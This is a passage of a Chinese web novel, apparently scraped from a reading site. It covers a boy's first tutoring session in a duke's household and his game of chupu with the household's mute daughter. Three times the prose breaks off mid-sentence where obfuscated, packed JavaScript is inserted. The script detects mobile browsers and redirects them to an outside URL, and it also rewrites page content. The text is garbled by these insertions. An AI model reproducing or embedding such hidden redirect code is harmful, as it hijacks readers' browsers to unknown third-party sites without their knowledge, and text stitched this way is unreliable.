添庆便进了厢房,走到卢朔身边,弯腰从书箱里取出笔墨纸砚和书本,给卢朔一一摆好,末了,又对蒋司籍道:“司籍见谅,因为决定得仓促,所以府上也没来得及给卢公子准备新书,这些蒙书是以前二公子用过的,便临时借来一用。夫人说了,若司籍知道市面上有更好的蒙书,若是更适合卢公子的蒙书,府里再去购买。” “我知道了。”蒋司籍道,“蒙书其实都差不多,主要还是看先生怎么教。你先下去吧,今日结束后,我自会跟夫人汇报的。” 添庆便行了一礼,退出去了。 卢朔已经没有心思再看贺兰佩了,他盯着面前的书本,紧张地咽了咽唾沫。 学具到了,终于进入正题了,蒋司籍也不再跟卢朔拉家常,而是随手翻开了书上一页,笑眯眯地道:“你说你之前学过一点字?那这一页上的内容,你会读吗?” 卢朔:“……” 要了命了,他第一个字就不认得。 见他张嘴就卡壳,蒋司籍贴心道:“不会的直接跳过,认得多少念多少。” 卢朔只好跳过第一个字,硬着头皮挑认识的字读:“……中上……母……安……人名元……百……” 一共六七十个字,他认得的不过十一二个。 读到后面,他越来越羞愧,声音也越来越低。 正当他觉得耳根都要烧起来的时候,却听见蒋司籍说:“还好嘛,比我想象的好,我还以为你就认得两三个字。” 卢朔:“……” 他略感安慰,但下一句又听蒋司籍道:“不过你有一个字念错了,这个不是‘母’字,而是‘毋’字,是‘不要’的意思。” 卢朔的耳根又立刻烧了起来。 蒋司籍合上书:“写两个字我看看。” 卢朔见过别人用毛笔写字,但他自己从来没用过,跟村里的老头学认字,也是在地上用木棍划的。 他回忆着那些人写字的流程,笨拙地磨了点墨,然后拿起笔蘸了蘸,颤颤巍巍地在纸上写下了自己的名字。 字写得很难看,他也知道,可他不会握笔,实在控制不好力道。 写完了,他汗颜地抬起头,等待着蒋司籍的评价。 蒋司籍:“嗯,果然如此,得从控笔开始练起,以后慢慢来吧……”她忽然停住,用力地吸了吸鼻子,诧异道,“什么味道?” 她扭头一看,就见窗户外凑了两个脑袋,正往里张望,其中一个甚至还在啃肉包子。 还有个高点儿的脑袋,虽没有像那两个矮脑袋一样一个劲儿地往里伸,只是矜持地在远一点的地方观望,但同样目光灼灼,盯紧了厢房里面。 蒋司籍:“……几位公子,也这么好学?” 贺兰昌咽下嘴里的包子,摸了摸头,尴尬一笑:“我们就是路过,来看看,来看看。” 贺兰荣用力把贺兰昌挤开,瞅着屋里的卢朔,语气颇为遗憾:“卢朔,你真不跟我们去国子监啊?” 若不是添庆来问他们借蒙书,他们还根本不知道这件事呢! 真是的,爹娘怎么想一出是一出,他们都做好带着卢朔勇闯国子监的准备了,甚至还已经幻想好了他们两个像大人一样给卢朔撑腰的情景了,若有谁敢欺负卢朔,那就是藐视国公府,还不速速吃他们两拳! 明天就要回国子监上课了,谁知回“监狱”的只有他们,没有卢朔! 有没有天理! 他们也想在家里上课!每天只用上半日,然后就能玩了! 他们就是不服加好奇,跑去把这事告诉了大哥,拉着大哥也一起过来了。 “老爷和夫人的意思是,国子监的课程对现在的小卢来说有些深了,不如等基础打好了再去。”蒋司籍悠然道,“若几位公子还有什么疑惑,可以去问老爷和夫人。” “我之前便觉得让他去国子监为时过早,现在爹娘改了主意也好。”贺兰振站在后面,负手开口,“蒋司籍是已经在上课了吗?” “今日并未安排课程,不过是与小卢先聊聊天罢了。”蒋司籍道。 贺兰振:“那你们先聊。”顿了顿,看向坐在里面的贺兰佩,“佩儿,你出来一下。” 贺兰佩抿了抿唇,放下手中的书,起身往外走去。 其实那书她也没看几页,屋里多了个不算相熟的人,她难免静不下心。 又加上一开始卢朔在跟蒋司籍讲他之前在乡下的生活,什么上山被虫咬了,什么在地里被秸秆划伤了,还有什么逗弄路边的野狗,结果被狗怒追二里地……虫是鲜艳的会飞的,秸秆是捆成卷堆成山的,野狗是会被举着石头的大人吓走的……桩桩件件,她听得入了神,便更看不进书了。 以致于卢朔那边开始办正事了,她还在想着他刚才说的那些事情,想象那会咬人的飞虫究竟是长什么样,结果把自己想恶心想害怕了,都没发现到窗户边出现了三个围观的人。 她慢吞吞地走出屋子,来到贺兰振身边。 贺兰振带着她走远了一点,低声问她:“你同意卢朔跟你一起上课?” 贺兰佩点点头。 贺兰振:“既然是你同意的,那我也不说什么了。你如果和他相处融洽,平日里多个解闷的朋友,倒也不错,但若他影响了你学习,或是有地方冒犯了你,你千万要记得跟爹娘说。他的父亲对我们父亲有恩,不代表他犯错我们就一定得迁让,尤其是事关你自己,记住了吗?” 贺兰佩又点头。 贺兰振抬手,替妹妹拨了下和几根头发纠在一起的细碎发带,道:“好了,你回去吧。” 贺兰佩便又回屋了。 发现不是正式的上课,先前凑在窗户边的贺兰昌和贺兰荣便趁机溜进了屋中,想看看卢朔要怎么跟自己妹妹一起上课。 结果第一眼先看见了案上的白纸黑字,贺兰荣一把揭起,啊了一声:“卢朔,这是你写的字啊?” 东倒西歪,时粗时细,如蚯蚓打架,还不会写小,只会写大,简直是丑得招摇过市。 贺兰昌也忍不住咋舌:“这……得好好练练啊。” 卢朔根本没想到他们也会来看,只觉无地自容,又不敢从他们手里把纸夺走,只能涨红了脸,攥住了拳头,祈盼这两位公子快快放过他,不要再鞭尸了。 就在这时,贺兰佩从外面进来,路过时下意识地瞥了一眼。 卢朔清楚地看见,四小姐原本没什么表情的脸上突然浮起了一缕笑意,嘴角抑制不住地翘起,连鼻腔里都发出了一声短促的气息。 她都已经走过去了,甚至还又回头再看了一眼,才极力压下唇角,低头回到了她的书案边。 她……她也在嘲笑他吗? 她这样的反应,倒像是昨晚那个祝他好梦的手势是他臆想出来的似的。 卢朔僵坐在原地,只觉愈发难堪,恨不得站起来大吼一声:笑什么,有什么好笑的,我又没上过学,能看出我写的是什么就不错了,村里多的是人还不如我呢! 如果还是在以前的乡下,他可能真的敢这么喊一嗓子。 可现在他根本不敢,他们包围着他,对他的字露出戏谑的笑容,他也不敢流露出一丝委屈之意。 “好了,两位公子难道没别的事做吗?”蒋司籍把纸从贺兰荣手里抽走,“国子监不等人,两位公子请了两日的假,也不怕回去后跟不上?” “哪有这么夸张……”贺兰荣嘟囔道,“也就两日而已。” 贺兰昌转移话题:“司籍,你这样又给卢朔上课,又给佩儿上课,难道不会混乱吗?干嘛不上午一个,下午一个?” 蒋司籍心道,若是这样,还有什么留卢朔在国公府上课的意义,随便塞去外面的学塾不就行了。老爷夫人让他跟四小姐一起上课,充当的就是个陪读的角色。 “因为我自己家中还有别的事,不能在府上待一天。”蒋司籍随口敷衍道,“两位公子既然不打算补上国子监的缺课,那就去做放假时该做的事,何必在这里浪费时间?” 贺兰昌和贺兰荣对视一眼。 也是哦,他们当初请两天的假,不就是想多在父亲身边待一会儿,听他讲那些惊险的战役吗? 于是两个人立刻决定离开,改去骚扰奉旨养病的老爹了。 贺兰振没和他们一起走,而是将添庆叫到了一旁。 添庆心中不由一喜,大公子还记着他呢! “卢朔昨晚在家中住得还适应吗?”贺兰振问他,“你现在是他的小厮了,有些事他就算不说,你也得多关注点。” “似乎……还好?卢公子还挺好说话的,没提过什么要求。”说到这里,添庆忽然想起一事,道,“不过他昨天哭了,还被四小姐瞧见了。” 遂把前因后果说了一遍。 贺兰振轻轻叹了口气:“他想念父母,人之常情。只是若时常在府中哭泣被人瞧见,影响也不好,你看看以后能不能说动他出去走走,京城里那么多好吃的好玩的,转移一下他的注意力。” 添庆连忙道:“大公子说的是,小的会多劝劝卢公子的。” 叮嘱完了事情,贺兰振也没再久留,离开了东廊。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523260|203368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 厢房内,蒋司籍又教卢朔念了一首简单的开蒙诗,不会的字现认现背,卢朔磕磕巴巴地背着,蒋司籍摸着下巴,心里基本有了数。 这孩子不算是天资聪颖的那一类,但也还好,人不笨,学习态度也比较认真,对于这种学生,蒋司籍决定以鼓励为主。 她说:“你这孩子还是不错的,以后只要踏踏实实地学,说不定能有所成就。” 她拿起笔,俯身在纸上刷刷刷写了几本书名,把外面的添庆喊了进来:“这几本书你去给你家公子买,有些是蒙书,有些是画册,都是给小孩儿看的,我甥孙看的就是这些。再去买几本描红字帖,拆解笔画、练控笔运笔的那种,不要直接买现成的碑帖。” 添庆应是。 蒋司籍问卢朔:“可知道为什么还给你买画册?” 卢朔摇了摇头。 蒋司籍道:“那些不是单纯的画册,而是每张画旁边都附了一个小故事,恰是你们这些小孩爱看的。你识得一些简单的字,读这样的故事,加上配图,连蒙带猜也能猜出故事讲的是什么,对你认其他生字也有裨益。” 卢朔立刻就明白了。 以前村上也有个小孩从远房亲戚那里得了一本卷了毛边的画册,画的是孝子故事,其他小孩都羡慕得紧,时常央求他拿出来给大家一起看。卢朔也看过好几次,虽然对里面的画早已烂熟于心,但那小孩每次拿着画册炫耀时,他还是会津津有味地凑上去看。也是因着这么个好东西,这小孩在小孩群里成了颇具威望的小头目。 后来那画册被同村的其他小孩不小心撕了几页,原主小孩都气哭了,再也不肯把画册拿出来分享,卢朔还遗憾了好久。 而现在,他也能有自己的画册看了。 只是现在画册成了稀松平常的东西,只有他一人需要,无人再会对其趋之若鹜,也不会再有一大群小孩围拥在一起,翻着同一本册子叽叽喳喳的经历了。 “行了,今天就到这儿吧,你的底我摸清了,我回去准备一下,明天再正式上课。”蒋司籍道,“你下午若有空,就把我方才教的启蒙诗背一背,这诗韵律讲究,对你将来写文章也有帮助。” 卢朔连忙起身相送。 贺兰佩听见了,也站了起来。 蒋司籍摆了摆手:“不用管我,我去跟夫人说一声今天的情况,等会儿就自己走了。” 她没带什么东西来,两手一背,就大步流星地离开了。 蒋司籍走了,其他人也没必要继续留在这里了,添庆帮卢朔把那些学具和书本重新收回书箱里,瞟见那张写着卢朔名字的纸,动作顿了一下,然后若无其事地把纸夹进书里放好。 卢朔看见了,不禁用力抿住了唇。 隔着博古架,贺兰佩注视着这对主仆,面上露出一丝犹豫之色。 其实她很想说,这里是专门用来上课的厢房,平常不会有别人来,所以那些笔墨纸砚都可以放在这里,不必总是带来带去,反正这些东西每个人也肯定不止一套。 若要带,只需要带几本回屋还会看的书就行了,实在用不着专门拿个书箱装。 但她说不了话,若特意写字递过去,又好像显得过于郑重了一些。 况且,这里原本是她和蒋司籍两个人用的房间,里面的装饰都是她和蒋司籍两个人布置的,现在多了一个人,她还是有点不太适应,也不太想让他的东西,占据原本属于她们二人的空间。 就在她犹豫的这么一小会儿,添庆已经收拾好了。 卢朔看向贺兰佩,咬了下嘴唇,欠身道:“那我就先回去了,四小姐。” 贺兰佩不置可否,低头合上了自己的书。 卢朔见她不回应,以为她还是嫌弃自己,神色黯了黯,垂着头与添庆出去了。 紫苏从外面进来,问贺兰佩:“小姐,感觉怎么样呀?奴婢在外面听他背书,听得脑子嗡嗡的,他都十二岁了,小姐六岁就会背的诗他背了好几遍还没背下……” 贺兰佩倏地抬起眼。 紫苏惊觉失言,赶紧拍了拍自己的嘴,讪笑着转移话题:“大家都走了,小姐,咱们也回去吧。奴婢听说厨房今天做了香糖渴水,等会儿给小姐拿一盏回去。” 贺兰佩点了点头。 紫苏见她没生气,这才悄悄松了一口气。 她也真是糊涂了,怎么脑子都不动就说出那样的话,小姐确实是六岁就能背出那首诗,但那时候的“背”诗,小姐如今是再也做不到了呀! 她在心里愈发不认同老爷和夫人的决定,那卢公子要开蒙,势必得天天朗读背诵,呜哩哇啦的,显得他嗓子好?这不是存心给小姐添堵吗! 但小姐自己都没异议,她也不敢置喙。 9.第 9 章 晌午时分,一家子人聚在一起吃午饭。 卢朔一直担心自己和四小姐一起上课的事变成席间话题,但或许是蒋司籍足够可靠,让人放心,席间老爷和夫人只随口问了他两句,他低眉顺眼地答了,他们也就没再多问。 他昨夜没睡好,又精神紧绷了一早上,吃完饭只觉得困乏至极,回到自己院里,倒头便睡。 这一觉睡了快一个时辰,他迷迷糊糊地醒过来,只觉脑中一片空白,不知怎么的竟脱口而出一句:“娘,有水没……” 说完他就清醒了。 卢朔躺在床上,默然望着透进房间的阳光,用力地揉了一把脸。 他穿衣下床,走到桌边,给自己倒了一杯冷茶。 凉意顺着喉咙一路滑下,带走了身上的几分燥热。 他握着茶杯,走到窗台旁坐下,翻起了早上的书,开始背蒋司籍要他背的启蒙诗。 睡了个午觉,忘了几句,重新捡起来,倒也渐渐熟稔。 过了一会背完了,他想起什么,推开窗,喊了一声:“添庆!” 没人应答。 他又喊了一声:“添庆!” 来寿匆匆从耳房跑出来了。 “公子,添庆不在。”来寿眨巴眨巴眼,“有什么事吗,小的去做也行。” 卢朔:“他去哪儿了?” “他去给公子买书了,就是蒋司籍说要的那些书。” 卢朔诧异:“他没来跟我要钱。” 他如今是宣国公的义子,衣食住行都由府上包揽,另有二两月例银子零花。这个数额,他家以前得辛辛苦苦攒小半年才能攒到,如今只需不劳而获。 他初来乍到,是不可能随意花钱的,但买书的钱肯定还是得他出,添庆怎么不拿钱就走了?难道国公府的下人都是先垫钱的吗? 来寿笑道:“买书钱和那些学杂费用是算在一块儿的,用不着公子自己出,都是府里出的,其他公子的也是这样。” 卢朔默了默,哦了一声。 二人说话间,院门口出现了两个探头探脑的人影。 发现卢朔在,他们立刻跑了进来。 “卢朔!”贺兰荣叫道,“我和贺兰昌要出去玩儿,你去不去?” 卢朔一怔:“我?” “是啊,你还没在京城里逛过吧?”贺兰荣道,“一起走吧,我们正好要去街上买点东西!” 贺兰昌也道:“放心啦,没大人跟着,不用拘束,我们就带几个小厮,晚饭前就回来了。” 卢朔心动了一瞬,却还是摇了摇头:“我就不去了,你们去吧。” 贺兰荣:“干嘛不去啊?外面多热闹啊!” 贺兰昌比贺兰荣多想了一点儿,目光在卢朔的素衣上停了停,道:“你要是不想去就算了,我们改天再约也行。” 卢朔笑了笑,道:“谢谢两位公子美意,但蒋司籍给我留了任务,让我背书,我还没背出来呢。” 贺兰荣撇了撇嘴:“好吧,那你继续背吧,我们走了哦?” 卢朔:“嗯。” 贺兰昌和贺兰荣走了,来寿见没他的事,也回屋了,窗前又变得静悄悄的。 卢朔无事可做,又翻看起书上的其他内容,可惜能看懂的依旧不多,他看了一会儿,逐渐开始心浮气躁。 他确实想出去走走。 只是他明天就要上课了,今天下午若跟着两个公子出去玩,着实不妥。但现在添庆还没带着新书回来,他也学不进去,怎么办呢? 卢朔在窗前徘徊了一会儿,想起自己还没去看过国公府的后花园。 昨日进府的时候下着雨,大公子他们只带着自己在花园外面望了一眼,没进去走,今天天气晴了,或许可以过去散散心。 他走到廊下,跟来寿说自己想去花园走走,让他知晓一下就好,不必跟着了。 刚起身的来寿听他这么说,也只能重新坐下。 卢朔还是不太习惯走到哪都被人跟着。 花园幽静,能看到早晨被人打扫过的痕迹,昨日雨打的落花被扫到路边,现在已经被晒得卷曲了。 很美丽的景色,一草一木都是被人工修剪过的精致,曲径看似是由大大小小的石头铺就,实际上这些石头有的嵌得深,有的嵌得浅,只为了露在地面上的高度相近,好方便人行走,最后组成一条规规整整的道路。 卢朔又想起了老家,没有这么精致干净,野草野花肆意生长,这里一蓬那里一蓬,在风中狂乱地抖,野狗跑过的土路上飞尘四起,混合着若有若无的鸡粪味儿,被风吹向更远的山野。 他沿着小径慢慢地走着,心绪愈发纷乱。 似乎有哪里隐约传来噼噼啪啪扑水一样的声音,卢朔左右望了望,感觉像是从小径另一头传来的,不由迟疑了一下,才继续小心翼翼地往前走去。 拐过一个弯,果然看到了一汪小池塘。 池塘里碧波盈盈,一大群锦鲤正挤作一团,张着大嘴,鳍尾相击,白的红的金的花的,在阳光下闪闪发亮,溅起层层的水花。 他眯了眯眼,顺着锦鲤群上移目光,看到了坐在对面凉亭里的四小姐,和她身后站着的丫鬟。 凉亭建在岸边,四小姐斜倚栏杆,手里拿着一包鱼食,垂眼看着下方扑腾争抢的鱼群。似乎是感觉到了他的目光,她望了过来,看清是卢朔后,露出一丝讶异。 那些纷乱的心绪忽地像退潮一样全部散去了,两个人隔着池塘相望,沉默了好一会儿,卢朔才深吸一口气,道:“我不知道四小姐在这里,打扰了,我……我先走了。” 说罢,便欲原路返回。 恐怕他是不该来后花园散心的,四小姐不喜欢他,他不如自己识趣一点,没必要去惹人不痛快。 然而他刚转过身,就听见背后稀里哗啦一阵动静,再回过头时,却发现四小姐手里的鱼食竟不慎洒了大半,引起塘中锦鲤更疯狂的争夺。 她似乎有些无奈地收起了手,把鱼食袋子交给了丫鬟。 然后她打了个手势,那丫鬟便点点头,探出一点身子,对卢朔扬声道:“卢公子,既然来了,就上来坐会儿吧。” 卢朔抿了抿唇,不知她们究竟是什么意思,却还是依言照做了。 贺兰佩坐在亭中,注视着卢朔的身影绕过半个池塘,沿着石阶走了上来。 她今日午觉起来没什么事做,又没心思看书,便到花园里来坐坐,看看池塘里的锦鲤。 这批锦鲤养了好几年了,个个壮硕肥美,游曳在水中的时候甚是好看,她偶尔无聊,就会来这里盯着锦鲤发呆。 只是没想到卢朔也会来。 他来就来吧,来了又走是什么意思?仿佛她是个占山为王的恶霸,不许别人也踏足此地似的。 她有点儿不高兴。 她自己不喜欢跟外界交流是一回事,但别人真把她区别对待又是另一回事。 况且,看他对她这个退避三舍的样子,他们往后在上课的时候大抵也不会有什么交情,如此一来,岂不是违背了爹娘让她和他一起上课的本意? 不行的,若是爹娘看到他们二人关系平平甚至冷淡,一定又会开始焦虑的。 于是贺兰佩让紫苏把他喊上来了。 卢朔进了凉亭,在她面前站定,疑惑而拘谨地看着她:“小姐找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523865|203368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我……” 他刚开口,就看见紫苏从随身挎着的布包里取出了一张白纸和一只炭笔,放在了一旁的石桌上。 后半句话卡在喉咙口,他有点震惊地看着那只炭笔,实在是因为从来没见过这么精致的炭笔,细细长长的,不似普通炭笔那样粗笨,外面还包了好看的硬壳,若不是露出了一截木炭头,简直就和毛笔没什么区别。 紫苏看他盯着那只炭笔,解释道:“在外面磨墨太麻烦,不如带炭笔容易,小姐若有什么事,随时随地都可书写交代。” “这样确实方便得多。”卢朔干巴巴地接了一句,收回目光,又补完了刚才没说完的那句话,“小姐找我,是有什么事?” 贺兰佩想着,既然不想让爹娘失望,要让他们看到自己跟人交际的成果,那就总得跟卢朔聊聊天。上课的时候不好聊,现在聊聊也成。 她示意卢朔坐下,自己也从栏杆边挪到了石凳上,拿起炭笔,在纸上飞快写了一行字。 卢朔目光扫过纸上字迹,脸色不由一红。 四小姐的字可真叫一个整齐娟秀,笔触浓淡均匀,粗细稳定,乍一看简直像是书上印的,用炭笔写都写得这么好看,用毛笔写岂不是更好看。 难怪她会笑话他写的字,两相对比,他写的都不算字,算鬼画符了。 见卢朔没有反应,贺兰佩不由蹙了下眉,看向紫苏。 紫苏便念道:“小姐问公子:‘为何不跟哥哥们一起出去玩?’” 卢朔:“……” 其实贺兰佩写的字他是看懂了一小部分的,只是不敢确定自己猜的对不对,现在紫苏念出来了,卢朔确定自己猜的没错,这才答道:“明天就要上课了,想再多看一会儿书。” 贺兰佩又写,紫苏又帮忙念:“那你怎么到这儿来了?” 卢朔抠着自己的手指甲,低声道:“添庆去帮我买新书了,还没回来,我……就出来走走,等他回来了,我再回去看书。” 贺兰佩想了想,继续写。 紫苏念:“你会玩樗蒲吗……小姐,你又找人玩樗蒲了!” 贺兰佩抬起头,冲紫苏无辜地笑了笑。 卢朔茫然地问:“樗蒲是什么?” 紫苏:“就是一种类似于下棋的游戏,玩起来有点麻烦……” 樗蒲是一种博戏,有人以此赌博,但小姐不赌,就纯玩。规则是双方各执五枚掷具,根据掷出的不同结果组合,进行对应的行棋路线,期间还可以吃棋、跳棋、叠棋等,先到达终点的人获胜。 贺兰佩是最近一年喜欢上玩这个的,读书之余,拉着家中每个人都陪她玩了个遍。奈何哥哥们平时在国子监,爹娘是大人总有各种正事要做,能经常跟她一起玩的人,也只有自己身边的几个丫鬟。 但丫鬟们输多了也会郁闷,不爱陪她玩了,贺兰佩也不想强迫她们,就自己忍着,十天半个月才找人玩一回。 现在她看着卢朔,突然意识到,这个人或许可以成为自己的新玩伴——爹娘不就是这个目的吗! 她嘴角抿起微微的笑意,眨了眨眼睛,黑瞳里倒映出细碎的光。 卢朔第一次被她用这种眼神看着,有些不知所措:“我……我不会……” 贺兰佩立刻拉了拉紫苏的衣袖。 紫苏咳了一声:“奴婢可以现教。” 都到这一步了,卢朔还能怎么办呢。 他不知道为什么四小姐之前还嫌弃自己,现在却又突然找他玩游戏,但她既然表达出了这个意愿,他就不好再推拒。 他不能得罪她,甚至连她的丫鬟也不能得罪。 卢朔只好道:“那我试试。” 10.第 10 章 樗蒲的用具放在了贺兰佩的院子里,没带出来,紫苏还得回去拿。 凉亭里便只剩下了卢朔和贺兰佩两个人。 池塘里的锦鲤见没有了鱼食,逐渐四散开去,水面重归宁静。 一时间,没有水声,没有鸟叫,没有虫鸣,只有微风拂过,吹得桌上纸张簌簌轻颤的声响。 两个人这么干坐着也不是个事,贺兰佩想是不是应该再找他说说话,可又怕自己写的字他看不懂,到时候徒惹尴尬,便没有再动笔。 她不主动,卢朔自然也不可能主动。 两个人就这么像雕像一样坐着,装模作样地欣赏着面前的风景,直到紫苏带着棋具回来。 她一回来,两个人皆是精神一振。 紫苏把棋盘铺好,给卢朔细细讲解了一遍规则,见卢朔听得一知半解,便笑道:“规则是有些复杂,不过玩多了就好了,公子尽管一试,奴婢会在旁边帮忙看的。” 贺兰佩先行,她投出一把掷具,显出了不同的花色。这个花色组合应该很好,因为卢朔看见贺兰佩忍不住笑了,眼睛弯弯的,低下头走棋的时候,睫毛长长的,还挂住了一根碎发。 她走完棋,抬手把碎发拂去,示意轮到卢朔走棋了。 卢朔拿起掷具,模仿着她的动作,笨拙地投出一把,紫苏凑过来看了看,低声指导他这个花色组合代表什么,要怎么走棋。 到底还是孩子,不一会儿卢朔的注意力就从贺兰佩身上转移到了游戏本身上。他渐渐从中咂摸出了一点乐趣,这游戏要想赢,一半靠运气,一半靠头脑,既有未知的刺激,又能在一定程度上取得掌控权,怪不得会有人以此赌博,果然容易上头。 他没有规划全局的意识,每次就凭运气走,尽管偶尔能掷出一些极好的花色,将贺兰佩的棋吃了,但由于整体走棋没有章法,不会设陷阱也看不出别人的陷阱,导致连输贺兰佩两把。 他有点不服,觉得自己是新手,贺兰佩是老手,所以输给她是正常的,只要他再熟悉熟悉,一定有机会赢的。 他太急躁了,结果又输了第三把。 紫苏看他有点挂脸了,忍不住笑道:“卢公子,游戏而已,放宽心便好。奴婢们经常输给小姐的。” 这倒是提醒了贺兰佩,她有阵子没玩了,一时有点忘情了,竟压着卢朔连赢三把,这对一个新手来说未免过于残忍,万一把他气跑了可怎么好。 于是第四把的时候贺兰佩放水了,明明从投掷的运气上来看,似乎是她的结果更好些,但最后先到终点的人却成了卢朔。 以卢朔微薄的游戏经验,他还看不出放水,只知道自己稀里糊涂就赢了。 他终于高兴起来,但看贺兰佩输了也没恼,不由又生起一丝疑惑:是她故意让了他?还是说她就是这么大度? 卢朔又看了看天色,决定见好就收,不再恋战,看紫苏还在整理棋盘,便试探着开口:“要不……就到这里吧?添庆应该回来了,我得回去看书了。” 紫苏却道:“无妨的,奴婢刚才路过公子院子时,进去跟来寿说了一声,说公子在同我们小姐玩耍,添庆若买书回来了,就到花园里来找我们。他现在不见人影,就是人还没回来。” 难得能有个新人陪小姐玩耍,还不得好好压榨一番? 学习?那可不关她的事。 卢朔:“……” 他张了张口,却不敢反驳,反倒是贺兰佩又在纸上写下:「不玩了,让他回去吧。」 紫苏:“好吧,小姐说不玩了,那就不玩了,卢公子请便。” “那、那我就先走了。”卢朔起身往外走去,可走了几步,又鬼使神差地停下了脚步,扭头看向贺兰佩。 紫苏诧异:“怎么了?” 卢朔站在台阶下,整个人浸在融融的阳光里,他微微仰着头,注视着被笼在亭下阴影中的贺兰佩,鼓足勇气道:“我想问……我跟小姐一起上课,不会影响小姐吗?” 贺兰佩一愣。 她没有想到卢朔竟然会这么直白地问出这个问题,忍不住蹙起了眉,似乎是在想怎么回答。 卢朔抓着自己的衣角,轻声道:“老爷和夫人怕我跟不上国子监的课,所以让我留在府上先开蒙,我心中感激。只是若此举影响了小姐,那我便去跟老爷夫人说,给我换个时辰上课,或者让我出去上另外的学堂也行……总之,我学得慢,肯定不能让我耽误了小姐的。” 贺兰佩抿起嘴唇,拿起炭笔,开始写字,只是这次她写得有点慢,可能是在斟酌用词。 写完了,交给紫苏。 紫苏:“小姐说:‘此事是我同意的,你不必想这么多,好好上课即可。今日你陪我玩了几局,多谢你,礼尚往来,以后你课后若有什么不懂的问题,也可以来问我。’” 轮到卢朔一怔。 国公府的公子小姐,似乎都有点“好为人师”,昨天贺兰荣也是这么跟他说,去了国子监,有不懂的就去问他,结果和贺兰昌围绕谁成绩差吵了好几句。 “我们小姐很聪明的,连大公子都说了,若不是小姐上不了国子监,否则读得肯定比二公子三公子快多了!”紫苏一脸骄傲地说道。 这话虽有以下犯上、揶揄主家公子之嫌,但由于说的是事实,吹捧的也是自家小姐,便没人会追究她这点小问题。 “……好,也多谢小姐照顾。”卢朔低下头道,“那我先走了。” 他回身快步走下台阶,沿着来时的路返回。 池塘里的锦鲤慢悠悠地游着,卢朔忍不住又回过头看了一眼,发现贺兰佩还坐在凉亭里看着自己,心头不由一颤,再不敢看她,一路小跑回去了。 路上遇到了来找他的添庆。 “公子,小的正要去找你呢!”添庆笑了一下,又往他身后张望了一番,“来寿说,公子和四小姐在一起玩?” 卢朔:“我看书看得有点累了,就去花园里走走,没想到四小姐也在,就让我陪她玩了一会儿。” 添庆:“四小姐不会让公子陪她玩樗蒲吧?” 卢朔奇怪道:“你怎么知道?你也陪她玩过?” “那倒没有,小的还没有这个福气。”添庆道,“只是以前看大公子陪她玩过几回……” 忽然发现自己说漏了嘴,添庆迅速看了卢朔一眼,见他没什么反应,或许是没察觉话里的漏洞,便又继续道:“不过四小姐玩樗蒲很厉害,也就老爷夫人和大公子能陪她玩得有来有回,二公子和三公子还有她身边那些丫鬟,都不是四小姐的对手,玩急眼了还得求四小姐给他们放放水。” 卢朔脚步顿了顿。 看来那最后一把,果然是她让给他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530155|203368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “嗯,我也输了好几把,所以我还是回来读书了。”卢朔道。 添庆:“输给小姐人之常情,公子无需挂怀。书和描红帖都已经买回来了,公子现在就能用。” 卢朔:“好,辛苦你了。” 二人往院子里走,添庆转了转眼珠,想起了上午大公子嘱咐他的事,便又问道:“小的听来寿说,二公子三公子他们找过公子出去玩,公子怎么不一起去?也别怪小的多嘴,小的是见公子去花园里散心,便想着去外头街上散心不是更好么?” 卢朔道:“明天就要上课了,万一我明天表现不佳,蒋司籍又听说我前一日在外面玩,怕是会对我印象不好。” “公子说的也有道理。”添庆道,“不过以后还是可以多出去走走的,公子总要熟悉京城的嘛。” 卢朔:“以后再说吧。” 他回到屋中,开始慢慢翻阅添庆买回来的书。 傍晚,贺兰昌和贺兰荣逛街回来了。 吃过了晚饭,他们和大哥贺兰振就得回国子监去了,明天一早还得上课。 临行前,双胞胎又在贺兰宗和章宜珠身边腻了一会儿,又表达了一番对卢朔还能留在家里上学的羡慕,这才依依不舍地跟大哥一起坐上了回国子监的车。 大门关上,卢朔往自己的院子方向走去,章宜珠则悄悄把女儿揽到一旁,低声问她:“你今天下午和卢朔在一起玩樗蒲?” 贺兰佩点头。 章宜珠:“玩得如何?” 贺兰佩笑了笑。 紫苏在一旁道:“小姐连赢卢公子三把呢。” 章宜珠挑眉:“你这是欺负人呢。” 紫苏:“小姐后来放水了,也让卢公子赢了一把。” 章宜珠摸了摸女儿的脑袋,欣慰道:“玩得开心就好,以后和卢朔好好相处,府里也热闹一些。” 贺兰宗优哉游哉地溜达过来,看着贴在妻子怀中的小女儿,道:“小心过段时间人家就不乐意陪你玩了。” 贺兰佩朝父亲鼓了鼓嘴,以示不满。 贺兰宗戳了戳她的脸,她嘴里的气被戳泄了,像个瘪下去的河豚,逗得贺兰宗哈哈大笑。 看着爹娘高兴的模样,贺兰佩觉得今天的交际果然很有成效,便也露出一个温软的笑意。 